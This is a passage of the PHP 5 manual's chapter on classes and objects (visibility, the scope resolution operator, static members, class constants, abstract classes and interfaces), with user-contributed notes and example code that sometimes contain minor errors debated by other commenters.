It works at least in PHP 5.0.4.
Miguel <miguel at lugopolis dot net>
21-Jul-2005 11:10
A note about private members, the doc says "Private limits visibility only to the class that defines the item" this says that the following code works as espected:

<?php
class A {
   private $_myPrivate="private";

   public function showPrivate()
   {
       echo $this->_myPrivate."\n";
   }
}

class B extends A {
   public function show()
   {
       $this->showPrivate();
   }
}

$obj=new B();
$obj->show(); // shows "private\n";
?>

this works cause A::showPrivate() is defined in the same class as $_myPrivate and has access to it.
David Rech
07-Jun-2005 06:14
You may define grouped variables separated by commas if they have the same visibility. This works for both initialized and uninitialized variables.

<?
class Window
{
   public $x = 0, $y = 100, $width = 1024, $height = 768;
}
?>

Handy if no comments are required or you're inside a DocBlock.
add a note add a note

后退 | 起点 | 前进
构造函数和析构函数 | 上一级 | Scope Resolution Operator (::)


Scope Resolution Operator (::)

The Scope Resolution Operator (also called Paamayim Nekudotayim) or in simpler terms, the double colon, is a token that allows access to static, constant, and overridden members or methods of a class.

When referencing these items from outside the class definition, use the name of the class.

Paamayim Nekudotayim would, at first, seem like a strange choice for naming a double-colon. However, while writing the Zend Engine 0.5 (which powers PHP 3), that's what the Zend team decided to call it. It actually does mean double-colon - in Hebrew!

例子 19-10. :: from outside the class definition

<?php
class MyClass {
    const CONST_VALUE = 'A constant value';
}

echo MyClass::CONST_VALUE;
?>

Two special keywords self and parent are used to access members or methods from inside the class definition.

例子 19-11. :: from inside the class definition

<?php
class OtherClass extends MyClass
{
    public static $my_static = 'static var';

    public static function doubleColon() {
        echo parent::CONST_VALUE . "\n";
        echo self::$my_static . "\n";
    }
}

OtherClass::doubleColon();
?>

When an extending class overrides the parents definition of a method, PHP will not call the parent's method. It's up to the extended class on whether or not the parent's method is called. This also applies to Constructors and Destructors, Overloading, and Magic method definitions.

例子 19-12. Calling a parent's method

<?php
class MyClass
{
    protected function myFunc() {
        echo "MyClass::myFunc()\n";
    }
}

class OtherClass extends MyClass
{
    // Override parent's definition
    public function myFunc()
    {
        // But still call the parent function
        parent::myFunc();
        echo "OtherClass::myFunc()\n";
    }
}

$class = new OtherClass();
$class->myFunc();
?>

add a note add a note User Contributed Notes
developit at mail dot ru
27-Jan-2006 07:57
You use 'self' to access this class, 'parent' - to access parent class, and what will you do to access a parent of the parent? Or to access the very root class of deep class hierarchy? The answer is to use classnames. That'll work just like 'parent'. Here's an example to explain what I mean. Following code

<?php
class A
{
   protected $x = 'A';
   public function f()
   {
       return '['.$this->x.']';
   }
}

class B extends A
{
   protected $x = 'B';
   public function f()
   {
       return '{'.$this->x.'}';
   }
}

class C extends B
{
   protected $x = 'C';
   public function f()
   {
       return '('.$this->x.')'.parent::f().B::f().A::f();
   }
}

$a = new A();
$b = new B();
$c = new C();

print $a->f().'<br/>';
print $b->f().'<br/>';
print $c->f().'<br/>';
?>

will output

[A] -- {B} -- (C){C}{C}[C]
Kristof Coomans
25-Nov-2005 07:08
In response to ian at [first name]henderson dot org:

(related bogus bug report: http://bugs.php.net/bug.php?id=26930)

The functionality you've expected maybe will be possible in PHP6, probably by using the static keyword in conjunction with the scope resolution parameter. You can read more about this in the minutes of the PHP developers meeting at 11 and 12 november in Paris: http://www.php.net/~derick/meeting-notes.html point 5.4: Late static binding using "this" without "$" (or perhaps with a different name)
zeldorblat at gmail dot com
08-Sep-2005 12:47
The alternative to john at johnjosephbachir dot org's suggestion without using eval():

call_user_func(array($classname, 'a_static_function'));
john at johnjosephbachir dot org
31-Aug-2005 06:23
A way to achieve Doug's last example

<?php
//this doesn't work
$classname::a_static_function();
?>

is to use eval():

<?php
//this works
$string = $classname.'::a_static_function();';
eval($sting);
?>

Remember to include a semicolon inside the string passed to eval().
doug at douglassdavis dot com
29-Aug-2005 10:52
Just a note that while this works for new objects:

<?php

$obj = new $classname();

?>

and this works to call a function:

<?php

$functionname();

?>

this does not work to call static functions, you will get a parse error:

<?php

$classname::a_static_function();

?>
HuugjeWeg
29-Apr-2005 08:58
In response to ian at [first name]henderson dot org:

You are not allowed to redefine static methods, see
http://www.php.net/manual/en/language.oop5.static.php

And in response to thenewparadigm at hotmail dot com: the behaviour you describe seems appropriate for *classes* with static variables, see "Using static variables" on http://nl2.php.net/static
thenewparadigm at hotmail dot com
06-Mar-2005 01:43
There is also a quirk with using the scope resolution operator on static class variables.  Below is an example using a highly modified version of Ian's code:

<?php

class ExampleSuperclass
{
   static $className;

   static function showClassName() {
     echo self::$className . "\n";
   }
}

class ExampleSubclassOne extends ExampleSuperclass
{
   static function setClassName()
   {
       self::$className = "subclassOne";
   }
}

class ExampleSubclassTwo extends ExampleSuperClass
{
   static function setClassName()
   {
     self::$className = "subclassTwo";
   }
}

// setting variables for each class
ExampleSubclassOne::setClassName();
ExampleSubclassTwo::setClassName();

ExampleSubclassOne::showClassName();  // output is "subclassTwo"!

// more output:

echo ExampleSubclassOne::$className . "\n"; // output is "subclassTwo"!
echo ExampleSubclassTwo::$className . "\n"; // output is "subclassTwo"
echo ExampleSuperclass::$className . "\n"; // output is "subclassTwo"!

?>

appearantly, any static variables defined in a superclass are directly referenced in subclasses,
and all changes are visible throughout the class heirarchy.  care must be taken when using static
class variables.
ian at [first name]henderson dot org
01-Feb-2005 02:43
Please note that methods called by the scope resolution operator which are defined by a superclass of the first operand are called in the scope of the SUPERCLASS.  For example,

<?php

class ExampleSuperclass
{
   static function classType()
   {
       return "superclass";
   }

   static function doSomething()
   {
       echo "doing something with " . self::classType();
   }
}

class ExampleClass extends ExampleSuperclass
{
   static function classType()
   {
       return "subclass";
   }
}

ExampleClass::doSomething();
// output is "doing something with superclass"!

?>

This can be surprising (it surprised me!) when coming from other object-oriented languages, which would output "doing something with subclass" in this case.
a dot naumovic at e-motion dot co dot yu
19-Oct-2004 06:42
One additional note about Pa'ama'im Nekudota'im: a suffix ayim is for dual, so the Hebrew language has singular, plural and dual. It's a perfect way to express existence of two  entities of something.
seec77 at zahav dot net dot il
14-Oct-2004 06:01
Just a little fun note about the term "Pa'ama'im Nekudota'im". As a person who originated, and still lives in Israel (land of the Hebrew language), I wanted to explain to everyone what "Pa'ama'im Nekudota'im" means.

"Nekudota'im", is the Hebrew term for a colon.
"Nekudota'im" is a combination of two words... "Neukda", which means "dot"... and "Shta'im" (female form of "Shna'im"), which means "two". Thus, "Nekudota'im" means two dots, and that's why in Hebrew it is used for the colon sign.

"Pa'ama'im", is also a combination of two words. "Pa'am", which means "a time", and again, the postfix originating from "Shtai'm". So "Pa'ama'im" means "two times", or "twice".

We can conclude this, by saying that the expression "Pa'ama'im Nekudota'im" means two times a pair of dots, or a pair of colons, which makes the expression totally legable for calling such an operator.
:)
add a note add a note

后退 | 起点 | 前进
Visibility | 上一级 | Static Keyword


Static Keyword

Declaring class members or methods as static makes them accessible without needing an instantiation of the class. A member declared as static can not be accessed with an instantiated class object (though a static method can). Static members and methods cannot be re-defined in subclasses.

The static declaration must be after the visibility declaration. For compatibility with PHP 4, if no visibility declaration is used, then the member or method will be treated as if it was declared as public.

Because static methods are callable without an instance of the object created, the pseudo variable $this is not available inside the method declared as static.

In fact static method calls are resolved at compile time. When using an explicit class name the method is already identified completely and no inheritance rules apply. If the call is done by self then self is translated to the current class, that is the class the code belongs to. Here also no inheritance rules apply.

Static properties cannot be accessed through the object using the arrow operator ->.

Calling non-static methods statically generates an E_STRICT level warning.

例子 19-13. Static member example

<?php
class Foo
{
    public static $my_static = 'foo';

    public function staticValue() {
        return self::$my_static;
    }
}

class Bar extends Foo
{
    public function fooStatic() {
        return parent::$my_static;
    }
}

print Foo::$my_static . "\n";

$foo = new Foo();
print $foo->staticValue() . "\n";
print $foo->my_static . "\n";      // Undefined "Property" my_static

// $foo::my_static is not possible

print Bar::$my_static . "\n";
$bar = new Bar();
print $bar->fooStatic() . "\n";
?>

例子 19-14. Static method example

<?php
class Foo {
    public static function aStaticMethod() {
        // ...
    }
}

Foo::aStaticMethod();
?>

add a note add a note User Contributed Notes
Jakob Schwendner
04-Nov-2005 05:17
Here is my solution to the static search method problem for data objects. I found the debug_trace version posted earlier quite clever, but a little too risky.

<?php
class Foo {
   static function find($class) {
       $obj = new $class();
       return $obj;
   }
}

class Bar extends Foo {
   static function find() {
       return parent::find(__CLASS__);
   }

   function print_hello() {
       echo("hello");
   }
}

Bar::find()->print_hello();
?>
daxxar
20-Jul-2005 12:14
Heh. The last post, eh, is wrong.
I didn't test it in PHP.

I saw it as an aberration to C++ when I read it, which is why I commented on it. So, I guess I misread "A member or method declared with static can not be accessed with a variable that is an instance of the object and cannot be re-defined in an extending class." to mean that you can't call $foo->StaticFunc(), (and when I explained the issue in the #php-channel on EFNet, I was under the impression that others thought likewise), when I guess it means that you can't access $this *inside* StaticFunc(). I dunno.

If it's a language bug, it should be fix, if it's a documentation "bug" (most likely), the documentation should be worded more cleary (rephrased), IMO. :)
daxxar
18-Jul-2005 08:04
Just to point it out, this is slightly different from the C++ OO approach.

The following code compiles and runs fine using g++ with the options -W -Wall -pedantic :)
#include <iostream>
struct Foo { static void Bar() { std::cout << "Hi!" << std::endl; } };
int main() { Foo x; x.Bar(); return 0; }

Whereas accessing a static method via an instance of a class in PHP doesn't work.

It's not a problem, but it's perhaps worth noting, if you're used to C++ OO.
aidan at php dot net
04-May-2005 10:14
To check if a function was called statically or not, you'll need to do:

<?php
function foo () {
   $isStatic = !(isset($this) && get_class($this) == __CLASS__);
}
?>

More at (http://blog.phpdoc.info/archives/4-Schizophrenic-Methods.html).

(I'll add this to the manual soon).
06-Apr-2005 06:14
You misunderstand the meaning of inheritance : there is no duplication of members when you inherit from a base class. Members are shared through inheritance, and can be accessed by derived classes according to visibility (public, protected, private).

The difference between static and non static members is only that a non static member is tied to an instance of a class although a static member is tied to the class, and not to a particular instance.
That is, a static member is shared by all instances of a class although a non static member exists for each instance of  class.

Thus, in your example, the static property has the correct value, according to principles of object oriented conception.
class Base
{
  public $a;
  public static $b;
}

class Derived extends Base
{
  public function __construct()
  {
   $this->a = 0;
   parent::$b = 0;
  }
  public function f()
  {
   $this->a++;
   parent::$b++;
  }
}

$i1 = new Derived;
$i2 = new Derived;

$i1->f();
echo $i1->a, ' ', Derived::$b, "\n";
$i2->f();
echo $i2->a, ' ', Derived::$b, "\n";

outputs
1 1
1 2
erikzoltan NOSPAM at msn NOSPAM dot com
06-Apr-2005 08:50
I was doing this in a more complex example (than previous note) and found that I had to place the initialization statement AFTER the class in a file where I was using the __autoload function.
erikzoltan NOSPAM at msn NOSPAM dot com
06-Apr-2005 06:40
I had trouble getting a static member to be an instance of a class.  Here's a code example that DOESN'T work.

<?php

// This doesn't work.

class XYZ
{
   // The following line will throw a syntax error.
   public static $ABC = new ABC();
}

class ABC
{
}

$myXyz = new XYZ();
var_dump($myXyz);
var_dump(XYZ::$ABC);

?>

I get the following entry in my error log.

[05-Apr-2005 18:27:41] PHP Parse error: syntax error, unexpected T_NEW in staticTest.php on line 7

Since PHP doesn't appear to allow static constructor methods, I was only able to resolve this problem by moving the initialization outside of the class.  To make my code more self-documenting I put it above the class.  The revised example below appears to work.

<?php

// This will work.

// Moved the static variable's initialization logic outside the class.
XYZ::$ABC = new ABC();

class XYZ
{
   // I'm just declaring the static variable here, but I'm not initializing it.
   public static $ABC;
}

class ABC
{
}

$myXyz = new XYZ();
var_dump($myXyz);
var_dump(XYZ::$ABC);

?>
michalf at ncac dot torun dot pl
01-Apr-2005 06:42
Inheritance with the static elements is a nightmare in php. Consider the following code:

<?php
class BaseClass{
   public static $property;
}

class DerivedClassOne extends BaseClass{
}

class DerivedClassTwo extends BaseClass{
}

DerivedClassOne::$property = "foo";
DerivedClassTwo::$property = "bar";

echo DerivedClassOne::$property; //one would naively expect "foo"...
?>

What would you expect as an output? "foo"? wrong. It is "bar"!!! Static variables are not inherited, they point to the BaseClass::$property.

At this point I think it is a big pity inheritance does not work in case of static variables/methods. Keep this in mind and save your time when debugging.

best regards - michal
c_daught_d at earthlink dot net
15-Jan-2005 05:57
A twist on christian at koch dot net's Singleton example is setting/getting non-static member variables using self::$instance->varname within static method calls.

Within the modified Singleton class below, the member variable $value is set within the getInstance static method instead of the constructor.

Whether this is "pure" OPP, I don't know. But it does work, is worth mentioning, and could be usefull.

class Singleton
{

   private static $instance=null;
   private $value=null;

   private function __construct() {
   }

   public static function getInstance() {
       if ( self::$instance == null ) {
           echo "<br>new<br>";
           self::$instance = new Singleton("values");
           self::$instance->value = "values";
       }
       else {
           echo "<br>old<br>";
       }

       return self::$instance;
   }
}
ference at super_delete_brose dot co dot uk
14-Jan-2005 11:11
Both static and const fields can be accessed with the :: operator. However, while a constant can't be changed, this is not true for static variables.

If you want to access an array using the :: operator you have to declare the array static, since you can't have a constant array. Beware:

<?php
class foo
{
  static $stuff = array('key1' => 1, 'key2' => 2);
}

class bar
{
  public function __construct()
  {
   var_dump(foo::$stuff);
  }
}

class bad
{
  public function __construct()
  {
   foo::$stuff = FALSE;
  }
}

new bar();    // prints array(2) { ["key1"]=> int(1) ["key2"]=> int(2) }

new bad();
new bar();    // prints bool(false)
?>

A safe implementation requires a little more effort:

<?php
class foo
{
  private static $stuff = array('key1' => 1, 'key2' => 2);

  public final static function getstuff()
  {
   return self::$stuff;
  }
}

class bar
{
  public function __construct()
  {
   var_dump(foo::getstuff());
  }
}

class bad
{
  public function __construct()
  {
   foo::$stuff = FALSE;
  }
}

new bar();    // prints array(2) { ["key1"]=> int(1) ["key2"]=> int(2) }
new bad();    // results in a fatal error
?>
michael at digitalgnosis dot removethis dot com
16-Dec-2004 03:41
Here's another way to do the same thing (see my post below) without having to muck up your Foo() function's parameters in the Base and all Derived classes.

However, you cannot use static, and still must define Foo() in derived classes.  This way also performs slower and may not always work--but it DOES make for prettier code.

<?php

class Base
{
   function Foo ()
   {
       $call = debug_backtrace();
       call_user_func(array($call[1]['class'],'Bar'));
   }
}

class Derived extends Base
{
   function Foo () { parent::Foo(); }

   function Bar ()
   {
       echo "Derived::Bar()";
   }
}

Derived::Foo();

?>
michael at digitalgnosis dot removethis dot com
16-Dec-2004 03:09
If you are trying to write classes that do this:

<?php

class Base
{
   static function Foo ()
   {
       self::Bar();
   }
}

class Derived extends Base
{
   function Bar ()
   {
       echo "Derived::Bar()";
   }
}

Derived::Foo(); // we want this to print "Derived::Bar()"

?>

Then you'll find that PHP can't (unless somebody knows the Right Way?) since 'self::' refers to the class which owns the /code/, not the actual class which is called at runtime. (__CLASS__ doesn't work either, because: A. it cannot appear before ::, and B. it behaves like 'self')

But if you must, then here's a (only slightly nasty) workaround:

<?php

class Base
{
   function Foo ( $class = __CLASS__ )
   {
       call_user_func(array($class,'Bar'));
   }
}

class Derived extends Base
{
   function Foo ( $class = __CLASS__ )
   {
       parent::Foo($class);
   }

   function Bar ()
   {
       echo "Derived::Bar()";
   }
}

Derived::Foo(); // This time it works.

?>

Note that Base::Foo() may no longer be declared 'static' since static methods cannot be overridden (this means it will trigger errors if error level includes E_STRICT.)

If Foo() takes parameters then list them before $class=__CLASS__ and in most cases, you can just forget about that parameter throughout your code.

The major caveat is, of course, that you must override Foo() in every subclass and must always include the $class parameter when calling parent::Foo().
christian at koch dot net
17-Nov-2004 01:10
STATIC is cool. Here is an example how to get an existing instance as a Singleton:

<?php

class Singleton {

   private static $instance=null;
   private $value=null;

   private function __construct($value) {
       $this->value = $value;
   }

   public static function getInstance() {
       if ( self::$instance == null ) {
           echo "<br>new<br>";
           self::$instance = new Singleton("values");
       }  else {
           echo "<br>old<br>";
       }
       return self::$instance;
   }

}

$x = Singleton::getInstance();
var_dump($x); // returns the new object
$y = Singleton::getInstance();
var_dump($y); // returns the existing object
?>

ckj
dmintz at davidmintz dot org
10-Nov-2004 07:20
[Editor's Note: This is done for back compatability. Depending on your error level, An E_STRICT error will be thrown.]

PHP 5.0.1 doesn't seem to mind if you call a static method in a non-static context, though it might not be the best of style to do so.

On the other hand, PHP complains if you try to try to call a non-static method in a static context (if your error reporting is cranked up to E_STRICT).

class Test {

   static function static_method() {
       echo "Here's your static method: Foo!<br />\n";
   }
   function static_method_caller() {
       echo "static_method_caller says:  ";$this->static_method();
   }
   function non_static() {
       echo "I am not a static method<br />\n";
   }

}

$t = new Test();
$t->static_method();
$t->static_method_caller();
Test::non_static();
add a note add a note

后退 | 起点 | 前进
Scope Resolution Operator (::) | 上一级 | Class Constants


Class Constants

It is possible to define constant values on a per-class basis remaining the same and unchangeable. Constants differ from normal variables in that you don't use the $ symbol to declare or use them. Like static members, constant values cannot be accessed from an instance of the object (using $object::constant).

例子 19-15. Defining and using a constant

<?php
class MyClass
{
    const constant = 'constant value';

    function showConstant() {
        echo  self::constant . "\n";
    }
}

echo MyClass::constant . "\n";

$class = new MyClass();
$class->showConstant();
// echo $class::constant;  is not allowed
?>

add a note add a note User Contributed Notes
31-May-2006 05:03
In addition to what "tobias_demuth at web dot de" wrote:

Assigning the return value of a function to a constant does not work. Thus you may assign the return value of a function to a global constant defintion using "define()" and assign this global constant to the class constant.

The following example works as expected.

<?php

define("MYTIME", time());

class test {
     const time = MYTIME;
}

print test::time;

?>

Will output the current timestamp. Whatsoever: IMHO this is "bad style" and so I suggest NOT to use this as "workaround".
awbacker at gmail dot com
01-Apr-2006 11:15
"Lest anyone think this is somehow an omission in PHP, there is simply no point to having a protected or private constant. Access specifiers identify who has the right to *change* members, not who has the right to read them"

I do see this as an omission.  They are not only access modifiers, but they limit visibility as well.  As it is, I can not make a constant that is private to my class, which I see as a problem.  I would settle for multiple modifiers like private const $var = 'me'; but that is not allowed either.
spiritus.canis at gmail dot com
15-Dec-2005 12:12
RE: mail at erwindoornbos dot nl

Sure, that'll work, but you'll have the same constant defined for your entire application.  Using class constants allows you to re-use the name of a constant while 1) holding a different value in different classes, and 2) giving you the ability to reference them from a static context.
mail at erwindoornbos dot nl
12-Dec-2005 10:21
<?php

define('SOMETHING', 'Foo bar');

class something
{
   function getsomething()
   {
       echo SOMETHING;
   }
}

$class = new something();
$class->getsomething();

?>

Works for me! This prints "Foo bar" without any warnings :)
18-Jun-2005 12:29
It's important to note that constants cannot be overridden by an extended class, if you with to use them in virtual functions.  For example :

<?php
class abc
{
   const avar = "abc's";
   function show()
   {
       echo self::avar . "\r\n";
   }
};

class def extends abc
{
   const avar = "def's";
   function showmore ()
   {
       echo self::avar . "\r\n";
       $this->show();
   }
};

$bob = new def();
$bob->showmore();
?>

Will display:
def's
abc's

However, if you use variables instead the output is different, such as:

<?php
class abc
{
   protected $avar = "abc's";
   function show()
   {
       echo $this->avar . "\r\n";
   }
};

class def extends abc
{
   protected $avar = "def's";
   function showmore ()
   {
       echo $this->avar . "\r\n";
       $this->show();
   }
};

$bob = new def();
$bob->showmore();
?>

Will output:
def's
def's
esad at 25novembar dot com
25-Apr-2005 04:03
Refering to caliban at darklock dot com's article:

The whole idea of visibility is implementing the concept of data hiding and encapsulation. This means exposing as little as possible of the class variables/methods, in order to maintain loose coupling. If you reference all your variables in your class directly, you've probably missed the point of OOP.

If the variable visibility is set to private it shouldn't be readable outside the class (performing tricks to read it is pointless, if you want to read something, make it public, it's your code). This is not used to obfuscate/hide a variable from someone but to enforce good coding practice of maintaining the loose coupling between objects.

http://c2.com/cgi/wiki?CouplingAndCohesion
tobias_demuth at web dot de
25-Apr-2005 01:39
Please note, that it is not possible to initialize an object's constant with a not-constant value. Something like this won't work:

<?php

class Testing {
     const TIME = time();

     // Some useful code
}

echo Testing::TIME;

?>

It will break with: Parse error: syntax error, unexpected '(', expecting ',' or ';' in path/to/file on line anylinenumber

Hope this will help somebody...
douglass_davis at earthlink dot net
03-Feb-2005 08:34
Re: caliban at darklock dot com

most people are not going to do all of this:

<?php
   if(isset($y["@$classname@$b"]))
       echo "\"$b\" is private: {$y["@$classname@$b"]}<br/>";
?>

to read an object variable.

My point is: what you said is true, however access specifiers do have an effect on who gets to read the variables when you are not trying to bypass encapsulation:

<?php

class Foo
{
   private $varname=2;
}

$obj=new Foo();
echo $obj->varname;  // accessing in the usual way doesn't work
?>

So: const gives you a constant that is public in terms of reading them the usual way.  A private const would mean you could not read the variable using the 2nd method above.  Not to say it's an "omission in PHP," but, realize that there would be some value added in allowing consts to be made private.
pcarmody at c-spanarchives dot org
18-Jan-2005 10:54
It should be noted that you cannot use the return from a function to assign a value to a class constant:

<?php
class MyClass {
  const good = "blah";
  const bad = str("blah", 0, 3);  // causes a parse error
}
?>
caliban at darklock dot com
16-Dec-2004 02:55
Lest anyone think this is somehow an omission in PHP, there is simply no point to having a protected or private constant. Access specifiers identify who has the right to *change* members, not who has the right to read them:

<?php
// define a test class
class Test
{
   public static $open=2;
   protected static $var=1;
   private static $secret=3;
}

$classname="Test";

// reflect class information
$x=new ReflectionClass($classname);
$y=array();
foreach($x->GetStaticProperties() as $k=>$v)
   $y[str_replace(chr(0),"@",$k)]=$v;

// define the variables to search for
$a=array("open","var","secret","nothing");
foreach($a as $b)
{
   if(isset($y["$b"]))
       echo "\"$b\" is public: {$y["$b"]}<br/>";
   elseif(isset($y["@*@$b"]))
       echo "\"$b\" is protected: {$y["@*@$b"]}<br/>";
   elseif(isset($y["@$classname@$b"]))
       echo "\"$b\" is private: {$y["@$classname@$b"]}<br/>";
   else
       echo "\"$b\" is not a static member of $classname<br/>";
}
?>

As you can see from the results of this code, the protected and private static members of Test are still visible if you know where to look. The protection and privacy are applicable only on writing, not reading -- and since nobody can write to a constant at all, assigning an access specifier to it is just redundant.
pezskwerl at gmail dot com
09-Dec-2004 01:02
Unlike static members, constants always have public visibility, so trying to set a constant's visibility won't work, such as in this example:

<?php
class MyClass {

     protected static $nonConstant = "this will work";
     protected const constant = "this won't work";
}
?>
add a note add a note

后退 | 起点 | 前进
Static Keyword | 上一级 | Class Abstraction


Class Abstraction

PHP 5 introduces abstract classes and methods. It is not allowed to create an instance of a class that has been defined as abstract. Any class that contains at least one abstract method must also be abstract. Methods defined as abstract simply declare the method's signature they cannot define the implementation.

When inheriting from an abstract class, all methods marked abstract in the parent's class declaration must be defined by the child; additionally, these methods must be defined with the same (or weaker) visibillity. For example, if the abstract method is defined as protected, the function implementation must be defined as either protected or public.

例子 19-16. Abstract class example

<?php
abstract class AbstractClass
{
    // Force Extending class to define this method
    abstract protected function getValue();
    abstract protected function prefixValue($prefix);

    // Common method
    public function printOut() {
        print $this->getValue() . "\n";
    }
}

class ConcreteClass1 extends AbstractClass
{
    protected function getValue() {
        return "ConcreteClass1";
    }

    public function prefixValue($prefix) {
        return "{$prefix}ConcreteClass1";
    }
}

class ConcreteClass2 extends AbstractClass
{
    public function getValue() {
        return "ConcreteClass2";
    }

    public function prefixValue($prefix) {
        return "{$prefix}ConcreteClass2";
    }
}

$class1 = new ConcreteClass1;
$class1->printOut();
echo $class1->prefixValue('FOO_') ."\n";

$class2 = new ConcreteClass2;
$class2->printOut();
echo $class2->prefixValue('FOO_') ."\n";
?>

上例将输出：

ConcreteClass1
FOO_ConcreteClass1
ConcreteClass2
FOO_ConcreteClass2

Old code that has no user-defined classes or functions named 'abstract' should run without modifications.

add a note add a note User Contributed Notes
James
17-May-2006 01:10
A nice tutorial on PHP5's abstract classes and interfaces:

Working with php5 class types abstract classes and interfaces.

http://www.phpfive.net/article4.htm
gsteren at gmail dot com
06-Mar-2006 09:48
Abstract classes allow the declaration of protected abstract methods, which cannot be emulated with the use of an interface and a concrete superclass.

Even private abstract methods can be declared, although I fail to see the use in them, as subclasses will not see them anyway.
rasto_klc (at) yahoo (dot) obvious
29-Dec-2005 05:27
Variable-length argument lists in abstract methods will generate fatal error if derived. Here is an simple example:

<?php
// common wrap for all validators is forcing uniform interface
abstract class ValidatorWrap {

   // just example why variable-length arguments are needed
   public function __construct()
   {
       if (func_num_args() > 0) {
           $arg_list = func_get_args();
           call_user_func_array(array(&$this, 'setupValidator'), $arg_list);
       } else {
           $this->setupValidator();
       }
       // continue with construction
   }

   // amount of arguments is specific to validator implementation
   abstract public function setupValidator();

   // known interface
   abstract public function validate($value);
}

class Validator1 extends ValidatorWrap {

   protected $pattern = '';

   // this will generate PHP Fatal error because $pattern is not expected
   public function setupValidator($pattern)
   {
       $this->pattern = $pattern;
   }

   // this will do OK
   public function validate($value)
   {
       return preg_match($this->pattern, $value);
   }
}

// make numeric validator
$validator = new Validator1('/^\d+$/');
echo (int) $validator->validate($_REQUEST['digits']);
?>

I need it to work so I just redefine troublemaking function as follows:

<?php
   public function setupValidator() { }
?>

This will give me functionality I need and generates only PHP Strict Standards warning.
turgut85 at hotmail dot com
03-Dec-2005 01:38
<?php

// Design Pattern ABSTRACT FACTORY  implementation //

abstract class AbstractFactory {
   public abstract function CreateProductA();  // return data type is AbstractProductA
   public abstract function CreateProductB();  // return data type is AbstractProductB
}

// Abstract factory #1 //
class ConcreteFactory1 extends AbstractFactory {

   public function CreateProductA() { // return data type is AbstractProductA
       return new ProductA1();
   }

   public function CreateProductB() { // return data type is AbstractProductB
       return new ProductB1();
   }
}

// Abstract factory #2 //
class ConcreteFactory2 extends AbstractFactory {

   public function CreateProductA() { // return data type is AbstractProductA //
       return new ProductA2();
   }

   public function CreateProductB() { // return data type is AbstractProductB //
       return new ProductB2();
   }
}

// "AbstractProductA" //
abstract class AbstractProductA {
}

// "AbstractProductB" //
abstract class AbstractProductB {
   public abstract function Interact($a); // return type is void // // input type is  AbstractProductA
}

// "ProductA1" //
class ProductA1 extends  AbstractProductA {
}

// "ProductB1" //
class ProductB1 extends  AbstractProductB {

   public function Interact($a) {
       echo __CLASS__." interacts with ".__METHOD__."\n";
       var_dump($a);
   }
}

// "ProductA2"
class ProductA2 extends AbstractProductA {
}

// "ProductB2"
class ProductB2 extends AbstractProductB {
   public function Interact($a) {
       echo __CLASS__." interacts with ".__METHOD__."\n";
       var_dump($a);
   }
}

class Client {

   private  $AbstractProductA;                            // type AbstractProductA;
   private  $AbstractProductB;                            // type AbstractProductB;

   // Constructor
   public function __construct($factory) {
       $this->AbstractProductB = $factory->CreateProductB();
       $this->AbstractProductA = $factory->CreateProductA();
   }

   public function Run() {
       $this->AbstractProductB->Interact($this->AbstractProductA);
   }
}

// Abstract factory #1
$factory1 = new ConcreteFactory1();
$c1 = new Client($factory1);
$c1->Run();

// Abstract factory #2
$factory2 = new ConcreteFactory2();
$c2 = new Client($factory2);
$c2->Run();

// TURGUT Z. YESILYURT, MS
// Software Developer
// NewJersey, USA

?>
Output::

ProductB1 interacts with ProductB1::Interact
object(ProductA1)#4 (0) {
}
ProductB2 interacts with ProductB2::Interact
object(ProductA2)#8 (0) {
}
mail dot phatlip at gmail dot com
07-Nov-2005 01:04
just RE: ramonzamora at gmail dot com

Abstraction is 'stricter' than inheritance+implementation as it contains 'rules' about the visibility of the methods that are inherited, as well as the fact that it saves needing two classes to get a job done.

The fact you cannot instantiate an abstract class can be benificial also.
ramonzamora at gmail dot com
28-Aug-2005 06:46
so abstract clases are the same than inheritance+interfaces??

<?php

//using inheritance+interfaces

interface callA{
   protected function callA();
}

class callB{
   protected $b;
   protected function callB(){
       return $this->b;
   }
}

class caller extends callB implements callA{
   protected $a;
   public function __construct($a,$b){
       $this->a=$a;
       $this->b=$b;
   }
   protected function callA(){
       return $this->a;
   }

   public function callAB(){
       return $this->callA().$this->callB();
   }
}

$caller=new caller('a','b');
$caller->callAB();

//using abstract class

abstract class callAB{
   abstract protected function callA();
   protected $b;
   protected function callB(){
       return $this->b;
   }
}

class caller extends callAB{
   protected $a;
   public function __construct($a,$b){
       $this->a=$a;
       $this->b=$b;
   }
   protected function callA(){
       return $this->a;
   }
   public function callAB(){
       return $this->callA().$this->callB();
   }
}

$caller=new caller('a','b');
$caller->callAB();
?>

the only difference i see is that using inheritance+interfaces you can instantiate the parent but using abstract classes you can't
add a note add a note

后退 | 起点 | 前进
Class Constants | 上一级 | Object Interfaces


Object Interfaces

Object interfaces allow you to create code which specifies which methods a class must implement, without having to define how these methods are handled.

Interfaces are defined using the interface keyword, in the same way as a standard class, but without any of the methods having their contents defined.

All methods declared in an interface must be public, this is the nature of an interface.

implements

To implement an interface, the implements operator is used. All methods in the interface must be implemented within a class; failure to do so will result in a fatal error. Classes may implement more than one interface if desired by separating each interface with a comma.

范例

例子 19-17. Interface example

<?php
// Declare the interface 'iTemplate'
interface iTemplate
{
    public function setVariable($name, $var);
    public function getHtml($template);
}

// Implement the interface
// This will work
class Template implements iTemplate
{
    private $vars = array();

    public function setVariable($name, $var)
    {
        $this->vars[$name] = $var;
    }

    public function getHtml($template)
    {
        foreach($this->vars as $name => $value) {
            $template = str_replace('{' . $name . '}', $value, $template);
        }

        return $template;
    }
}

// This will not work
// Fatal error: Class BadTemplate contains 1 abstract methods
// and must therefore be declared abstract (iTemplate::getHtml)
class BadTemplate implements iTemplate
{
    private $vars = array();

    public function setVariable($name, $var)
    {
        $this->vars[$name] = $var;
    }
}

?>

See also the instanceof operator.

add a note add a note User Contributed Notes
spiritus.canis at gmail dot com
26-Oct-2005 01:45
Regarding the example by cyrille.berliat:

This is not a problem and is consistent with other languages.  You'd just want to use inheritance like so:

<?php

class AbstractClass {
   public function __ToString ( ) { return 'Here I am'; }
}

class DescendantClass extends AbstractClass {}

interface MyInterface {
   public function Hello ( AbstractClass $obj );
}

class MyClassOne implements MyInterface {

   public function Hello ( AbstractClass $obj ) {
       echo $obj;
   }
} // Will work as Interface Satisfied

$myDC = new DescendantClass() ;
MyClassOne::Hello( $myDC ) ;

?>
cyrille.berliat[no spam]free.fr
17-Oct-2005 05:29
Interfaces and Type Hinting can be used but not with Inherintance in the same time :

<?

class AbstractClass
{
   public function __ToString ( ) { return 'Here I\'m I'; }
}

class DescendantClass extends AbstractClass
{

}

interface MyI
{
   public function Hello ( AbstractClass $obj );
}

class MyClassOne implements MyI
{
   public function Hello ( AbstractClass $obj )
   {
       echo $obj;
